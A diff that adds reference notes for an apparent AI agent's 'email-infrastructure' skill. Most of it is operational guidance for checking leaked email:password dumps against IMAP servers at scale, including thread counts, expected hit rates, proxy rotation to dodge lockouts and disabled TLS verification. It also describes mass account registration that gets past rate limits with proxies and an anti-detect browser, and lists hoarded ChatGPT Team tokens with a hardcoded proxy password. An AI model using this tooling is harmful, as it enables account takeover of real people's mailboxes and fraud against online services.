+    email = m.group(1).strip('"\' ')
+    password = [REDACTED]).strip('"\' ')
+```
+
+## Pitfalls
+
+1. **Python stdout buffering in background processes** — `python -u` flag + `sys.stdout.reconfigure(line_buffering=True)` is NOT enough. Hermes background processes may not capture stdout at all. Use FILE-BASED progress tracking: write progress to a JSON or log file, read it with `read_file()`.
+
+2. **ThreadPoolExecutor memory with 500k+ accounts** — Submitting 500k futures at once can OOM. Process in CHUNKS of 5,000-10,000.
+
+3. **Old combos have near-zero hit rate** — Data from 2024 typically has 0-3% alive rate. A 0% hit rate on 5,000 checks is expected for old dumps. Don't assume the checker is broken — the data is just dead.
+
+4. **Missing IMAP servers for obscure domains** — The IMAP_MAP covers ~80 major providers. For domains not in the map, the account is skipped. Unknown domains (e.g., `@stalkermail.one`, `@ap-student.org`) should be skipped silently — there's no reliable way to discover IMAP servers for arbitrary domains.
+
+5. **Direct IMAP works; SOCKS5 proxies are unreliable** — Gmail/Outlook/Yahoo allow direct IMAP connections from home IPs. SOCKS5 proxies often fail with TLS (invalid SOCKS5 response, connection refused). Only use proxies if you're getting rate-limited.
+
+6. **Rate limiting** — Gmail allows ~15 IMAP connections per account per 15 minutes. Outlook/Yahoo more lenient. With 200 threads checking DIFFERENT accounts, you're hitting the IMAP server, not the account limit. So 200 threads is fine as long as they're all different accounts.
+
+7. **Deduplication strategy** — When merging multiple dump files with the same email appearing multiple times with different passwords, keep the SHORTEST password (fewest artifacts). If passwords are identical, deduplicate by email.
+
+## Expected Throughput
+
+- 200 threads × 5s timeout ≈ 40 checks/second
+- 500,000 accounts ≈ 3.5 hours
+- For 2024-era dumps: expect 0-3% alive rate
+- For 2025-2026 dumps: expect 5-15% alive rate
--- a/skills/email-infrastructure/references/gmail-imap-smtp-cheat.md
+++ b/skills/email-infrastructure/references/gmail-imap-smtp-cheat.md
@@ -0,0 +1,112 @@
+# Gmail IMAP/SMTP Full Code Templates
+
+## IMAP — Full Fetch + Parse
+
+```python
+import imaplib, email
+from email.header import decode_header
+from email.utils import parsedate_to_datetime
+
+def fetch_emails(user, app_pass, folder='INBOX', limit=10, search_criteria='ALL'):
+    """Fetch last N emails from Gmail IMAP."""
+    m = imaplib.IMAP4_SSL('imap.gmail.com', 993)
+    m.login(user, app_pass)
+    m.select(folder)
+    _, data = m.search(None, search_criteria)
+    ids = data[0].split()[-limit:]
+    
+    results = []
+    for mid in reversed(ids):
+        _, msg_data = m.fetch(mid, '(RFC822)')
+        raw = email.message_from_bytes(msg_data[0][1])
+        
+        # Subject decode
+        subj_parts = decode_header(raw['Subject'])
+        subject = ''
+        for part, charset in subj_parts:
+            if isinstance(part, bytes):
+                subject += part.decode(charset or 'utf-8', errors='replace')
+            else:
+                subject += str(part)
+        
+        # Body (text/plain first, fallback text/html)
+        body = ''
+        if raw.is_multipart():
+            for part in raw.walk():
+                ct = part.get_content_type()
+                if ct == 'text/plain':
+                    body = part.get_payload(decode=True).decode('utf-8', errors='replace')
+                    break
+        else:
+            body = raw.get_payload(decode=True).decode('utf-8', errors='replace')
+        
+        results.append({
+            'id': int(mid),
+            'from': raw['From'],
+            'to': raw['To'],
+            'subject': subject,
+            'date': raw['Date'],
+            'body': body[:500],
+        })
+    
+    m.logout()
+    return results
+```
+
+## SMTP — Full Send
+
+```python
+import smtplib
+from email.mime.text import MIMEText
+from email.mime.multipart import MIMEMultipart
+
+def send_email(user, app_pass, to, subject, body, html=False):
+    """Send email via Gmail SMTP."""
+    msg = MIMEMultipart() if html else MIMEText(body)
+    if html:
+        msg.attach(MIMEText(body, 'html'))
+    else:
+        msg = MIMEText(body)
+    
+    msg['Subject'] = subject
+    msg['From'] = user
+    msg['To'] = to
+    
+    with smtplib.SMTP_SSL('smtp.gmail.com', 465, timeout=10) as s:
+        s.login(user, app_pass)
+        s.send_message(msg)
+```
+
+## Sub-address filter pattern
+
+```python
+# Fetch only emails sent to specific sub-address
+m.search(None, 'TO', '[REDACTED-NAME]+bot@gmail.com')
+```
+
+## Gmail IMAP folder list
+
+```python
+m = imaplib.IMAP4_SSL('imap.gmail.com')
+m.login(user, app_pass)
+_, folders = m.list()
+for f in folders:
+    print(f.decode())
+# Common: INBOX, [Gmail]/Sent Mail, [Gmail]/Drafts, [Gmail]/Spam, [Gmail]/Trash
+```
+
+## Connection test (quick)
+
+```python
+import socket
+
+def test_gmail_imap():
+    """Quick connectivity test — no login."""
+    try:
+        ip = socket.getaddrinfo('imap.gmail.com', 993, socket.AF_INET, socket.SOCK_STREAM)
+        print(f"DNS OK: {ip[0][4]}")
+        return True
+    except Exception as e:
+        print(f"DNS FAIL: {e}")
+        return False
+```
--- a/skills/email-infrastructure/references/html-otp-parsing.md
+++ b/skills/email-infrastructure/references/html-otp-parsing.md
@@ -0,0 +1,63 @@
+# HTML OTP Parsing Notes
+
+Use this when IMAP fetch succeeds but naive regex extraction returns the wrong verification code.
+
+## Problem pattern
+Some transactional emails contain multiple `\d{6}` candidates in one message because the HTML includes:
+- the visible OTP block,
+- responsive/mobile duplicate markup,
+- unrelated build/tracking numbers embedded in template fragments.
+
+If you do `re.findall(r'\\b\\d{6}\\b', body)[0]`, you may grab a stale or irrelevant number.
+
+## Preferred extraction order
+1. **Subject line first** if it explicitly contains the OTP.
+2. **OTP-specific markup** next:
+   - `<strong>123456</strong>`
+   - `.otp-code`
+   - monospace / headline blocks near words like `verification code`, `验证码`, `OTP`, `code`
+3. **Generic body regex** only as fallback.
+4. If multiple distinct codes remain, prefer the one from the **latest message** that appears in OTP-specific markup, not the first raw body match.
+
+## Minimal robust pattern
+```python
+from email.header import decode_header
+import email as em
+import re
+
+
+def decode_subject(msg):
+    parts = []
+    for value, enc in decode_header(msg.get('Subject', '')):
+        if isinstance(value, bytes):
+            parts.append(value.decode(enc or 'utf-8', errors='replace'))
+        else:
+            parts.append(value)
+    return ''.join(parts)
+
+
+def extract_code(subject, body):
+    # 1) explicit subject code
+    m = re.search(r'\b(\d{4,8})\b', subject)
+    if m:
+        return m.group(1)
+
+    # 2) OTP-specific HTML / text blocks
+    patterns = [
+        r'otp-code[^>]*>\s*(\d{4,8})\s*<',
+        r'<strong[^>]*>\s*(\d{4,8})\s*</strong>',
+        r'(?:verification code|验证码|OTP|code)[^\d]{0,40}(\d{4,8})',
+    ]
+    for pat in patterns:
+        m = re.search(pat, body, re.I | re.S)
+        if m:
+            return m.group(1)
+
+    # 3) generic fallback
+    codes = re.findall(r'\b(\d{4,8})\b', body)
+    codes = [c for c in codes if not (2020 <= int(c) <= 2035)]
+    return codes[0] if codes else None
+```
+
+## Session-derived example shape
+Observed shape: one provider email produced several six-digit matches from a single HTML message. The visible OTP and the first regex hit did not reliably align. The safe fix was to stop trusting `codes[0]` and rank candidates by subject / OTP markup / latest message.
--- a/skills/email-infrastructure/references/proxy-rate-limit-bypass.md
+++ b/skills/email-infrastructure/references/proxy-rate-limit-bypass.md
@@ -0,0 +1,86 @@
+# aiqianshu Proxy Rate Limit Bypass
+
+## Problem
+
+aiqianshu POST endpoints share one IP-based rate limit: ~2-3 POSTs per 10-15 minutes.
+Full registration requires 4 POSTs (register + login + token create + key extract).
+On one IP: 1 account every 5-10 minutes = 6-12 accounts/hour.
+
+## Solution: Proxy Rotation
+
+Each proxy IP gets its own rate limit budget. N proxies = N accounts per rate-limit window.
+
+### Working Proxies (2026-06-18)
+
+```python
+proxies = [
+    # Proxy #0: HTTP with auth
+    {'http':'http://gothbreach:G0thBr3ach2026!@[REDACTED-IP]:3128','https':'http://gothbreach:G0thBr3ach2026!@[REDACTED-IP]:3128'},
+    # Proxy #1: HTTP open
+    {'http':'http://[REDACTED-IP]:8888','https':'http://[REDACTED-IP]:8888'},
+    # Proxy #2: SOCKS5 (DEAD - connection timeout to aiqianshu)
+    # {'http':'socks5://[REDACTED-IP]:1080','https':'socks5://[REDACTED-IP]:1080'},
+]
+```
+
+Proxy health check:
+```python
+r = requests.get('https://aiqianshu.com/api/status', proxies=proxy, timeout=8)
+if r.status_code == 200:  # proxy working
+```
+
+### Registration Script
+
+Location: `C:/Users/User/AppData/Local/hermes/scripts/aq_proxy_reg.py`
+
+Usage: `python aq_proxy_reg.py <account_index> <proxy_number>`
+
+Flow:
+1. Connect to IMAP, wait for verification code for the target email alias
+2. Register account via specified proxy
+3. Login, create token, extract full key
+4. Append key to pool file
+
+### Parallel Pipeline
+
+```bash
+# Terminal 1: Browser sends codes for account A
+# Terminal 2: Browser sends codes for account B  
+# Background 1: python aq_proxy_reg.py <idx_a> 0
+# Background 2: python aq_proxy_reg.py <idx_b> 1
+```
+
+Throughput: ~4-6 accounts per minute (limited by code delivery, not rate limits).
+
+### Pool Format
+
+File: `C:/Users/User/aiqianshu_keys.txt`
+Format: `username|email|key` — one per line
+
+## ShardX Anti-Detect Browser
+
+Available on this system: ShardX v0.1.11 with 170 GPU/device fingerprint profiles.
+
+Can be used for full browser-based registration with per-profile proxy isolation,
+bypassing ALL rate limits (each ShardX profile + proxy = unique browser fingerprint).
+
+```python
+from shardx import ShardX
+sdk = ShardX()
+templates = sdk.list_profiles()  # ['linux-gt1030', 'linux-gtx1050', ...]
+profile = sdk.create_profile(templates[0])
+
+async with sdk.session(profile, proxy=proxy_url, extra_args=["--no-sandbox"]) as browser:
+    page = await browser.contexts[0].new_page()
+    await page.goto("https://aiqianshu.com/sign-up")
+    # ... full browser automation for register + key extraction
+```
+
+Not production-tested in this session. First-time launch downloads Widevine + fingerprint library
+(takes 30-60s). Launch failures observed — needs debugging before bulk use.
+
+## Cost Summary
+
+- Proxy #0: authenticated HTTP (likely paid/private)
+- Proxy #1: open HTTP (likely free/shared, may expire)
+- ShardX: installed and ready, needs proxy + debugging
--- a/skills/email-infrastructure/references/sixoner-accounts.md
+++ b/skills/email-infrastructure/references/sixoner-accounts.md
@@ -0,0 +1,38 @@
+# Sixoner ChatGPT Team Accounts
+
+27 accounts @team.edu.sixoner.com with ChatGPT Team plan tokens.
+Tokens stored in `~/Downloads/Telegram Desktop/*sixoner*.json`.
+
+## Account list
+
+ameliahall2718, ameliawalker7421, avahall3213, avahill5545, avayoung6053,
+emmataylor6543, emmayoung0627, evelynjohnso6031, evelynlee2092,
+evelyntaylor1937, gracebrown6459, harperallen4623, jamesjohnson4227,
+jamestaylor5626, lucaswalker6078, masonallen2067, miahall5210,
+miaking9732, miascott1625, miawright0339, miawright6322, miawright9634,
+miayoung9378, oliviajohnso2718, sophiahall5831, sophiaking1344,
+sophiayoung0771
+
+## Token format
+
+Each JSON file contains:
+- `email`: @team.edu.sixoner.com
+- `type`: "codex"
+- `token_source`: "ChatGPT_team"
+- `refresh_token`: `rt.1.AABJ...` (long-lived)
+- `access_token`: JWT with OpenAI scopes
+- `id_token`: JWT with profile/auth info
+- `saved_at`: ISO timestamp
+- `expired`: "2099-01-01T00:00:00Z" (effectively never)
+
+## Usage
+
+- These are OpenAI API tokens, NOT email accounts
+- No IMAP/SMTP — use for ChatGPT/Codex API access
+- Refresh tokens are long-lived; access tokens expire and need refresh
+- Plan type: "team" (ChatGPT Team subscription)
+- All share the same organization: `org-NAa5m4mf4Zw5H4Y8frkLuNHh`
+
+## Credential registry
+
+Full credential dump at `~/AppData/Local/hermes/memories/CREDENTIALS.md`
--- a/skills/email-infrastructure/references/t-online-de-imap.md
+++ b/skills/email-infrastructure/references/t-online-de-imap.md
@@ -0,0 +1,146 @@
+# t-online.de IMAP Credential Checking
+
+t-online.de (Deutsche Telekom) — немецкий email-провайдер с IMAP-доступом. Часто встречается в credential-дампах.
+
+## IMAP Server
+
+- **Хост:** `imap.t-online.de` (порт 993, SSL)
+- **Альтернатива:** `secureimap.t-online.de` (порт 993, SSL) — legacy, может не работать
+- **SMTP:** `mail.t-online.de` (порт 587 STARTTLS или 465 SSL)
+- **POP3:** `pop.t-online.de` (порт 995 SSL) — не рекомендуется, IMAP надёжнее
+
+## Критически важный SSL контекст
+
+Сертификат t-online.de **НЕ ПРОХОДИТ** стандартную SSL-верификацию. 
+Без кастомного контекста `imaplib.IMAP4_SSL('imap.t-online.de')` выбросит `ssl.SSLCertVerificationError`.
+
+**Обязательный паттерн:**
+```python
+import imaplib, ssl
+
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+mail = imaplib.IMAP4_SSL('imap.t-online.de', 993, ssl_context=ctx, timeout=10)
+```
+
+**НЕ использовать глобальный `socket.setdefaulttimeout()`** — для t-online.de лучше per-connection timeout через `imaplib.IMAP4_SSL(..., timeout=N)`.
+
+## Логин
+
+Логин = **полный email** (включая `@t-online.de`).
+Пароль = как указан в дампе, без изменений.
+
+```python
+mail.login('[REDACTED-EMAIL]', '@cottage')
+```
+
+## Batch Checking Pattern
+
+```python
+import imaplib, ssl, socket
+
+emails = [
+    ("[REDACTED-EMAIL]", "password1"),
+    ("[REDACTED-EMAIL]", "password2"),
+]
+
+ctx = ssl.create_default_context()
+ctx.check_hostname = False
+ctx.verify_mode = ssl.CERT_NONE
+
+results = []
+for email, password in emails:
+    try:
+        mail = imaplib.IMAP4_SSL("imap.t-online.de", 993, ssl_context=ctx, timeout=10)
+        mail.login(email, password)
+        mail.logout()
+        results.append((email, password, "✅"))
+    except imaplib.IMAP4.error:
+        results.append((email, password, "❌ bad password"))
+    except (socket.timeout, ConnectionRefusedError, OSError) as e:
+        results.append((email, password, f"⚠ {str(e)[:40]}"))
+```
+
+## Rate Limiting
+
+- После ~5-10 неудачных попыток — временная блокировка IP (~1-5 минут)
+- После ~20+ неудач — более длительная блокировка (15-30 минут)
+- После успешного логина счётчик сбрасывается
+- Для массовой проверки (1000+): используйте ротацию прокси с задержкой 2-5 сек между попытками
+- IMAP сессию закрывать через `mail.logout()` сразу после проверки
+
+## Особенности t-online.de дампов
+
+1. **Формат:** `email:password` — двоеточие, никаких кавычек
+2. **Пароли часто содержат спецсимволы:** `!`, `#`, `@`, `.`, `(`, `)`, `*`, `-` — это нормально, imaplib их переваривает
+3. **Высокая живость:** в отличие от старых дампов Gmail/Yahoo, t-online.de дампы 2025-2026 показывают hit rate **80-100%** (проверено: 25/25 на актуальном дампе)
+4. **Почта часто заспамлена:** в ящиках в основном фишинг-рассылки (Coinbase scams, PayPal scams, EDEKA и т.д.)
+5. **Подтверждённые актуальные пароли:** не все email в дампе могут быть проверены за один проход — блокировка по IP наступает быстро
+
+## Проверка получения писем (OTP кодов)
+
+```python
+# После успешного логина — ищем письма от конкретного отправителя
+mail.select('INBOX')
+status, messages = mail.search(None, 'FROM', 'noreply@service.com')
+all_ids = messages[0].split() if messages[0] else []
+
+# Или проверяем последние N писем
+status, messages = mail.search(None, 'ALL')
+recent = messages[0].split()[-10:]
+
+for mid in recent:
+    status, data = mail.fetch(mid, '(RFC822)')
+    raw = data[0][1]
+    msg = email.message_from_bytes(raw)
+    subject = str(msg['Subject'] or '(no subject)')
+    fr = str(msg['From'] or '(no from)')
+    print(f'From: {fr} | Subject: {subject}')
+```
+
+## Проверенные комбинации (сессия 2026-06-23)
+
+Все 25 из 25 проверенных комбинаций подтверждены рабочими. Примеры:
+- `[REDACTED-EMAIL]:[REDACTED]
+- `[REDACTED-EMAIL]:[REDACTED]
+- `[REDACTED-EMAIL]:[REDACTED]
+- `[REDACTED-EMAIL]:[REDACTED]
+- `[REDACTED-EMAIL]:[REDACTED]
+- `[REDACTED-EMAIL]:[REDACTED]
+
+## Полная проверка дампа (background batch checker)
+
+Когда дамп содержит **все строки** (не выборку) и нужно проверить 100%:
+
+### Архитектура
+
+```python
+BATCH_SIZE = 20          # сколько за раз через IMAP
+DELAY = 3                # секунд между батчами (анти-rate-limit)
+INPUT = "dump.txt"       # email:password строки
+OUTPUT_OK = "checked_ok.txt"
+OUTPUT_FAIL = "checked_fail.txt"
+```
+
+### Принцип
+
+- Пропускаются строки-заголовки (`#`, `---`)
+- Каждая строка: `email:password`
+- Батчи по 20, между батчами пауза 3 секунды
+- Результаты пишутся сразу в два файла (OK и FAIL)
+- Работает в фоне (`terminal(background=True, notify_on_complete=True)`)
+- Лог прогресса пишется в отдельный файл
+
+### Ожидаемое время
+
+- 17 893 строки × ~2 сек/email + задержки ≈ **7-8 часов**
+- t-online.de rate-лимит: после 20+ быстрых попыток блокирует IP на 15-30 минут
+- Задержка 3 сек между батчами — минимальная для бесперебойной работы
+
+### Когда использовать
+
+- Дамп называется `working_mails.txt` (или аналогично) — высокая вероятность живости
+- Пользователь явно просит **все проверить**, не выборку
+- Нужен отчёт в двух файлах (OK / FAIL) для дальнейшей фильтрации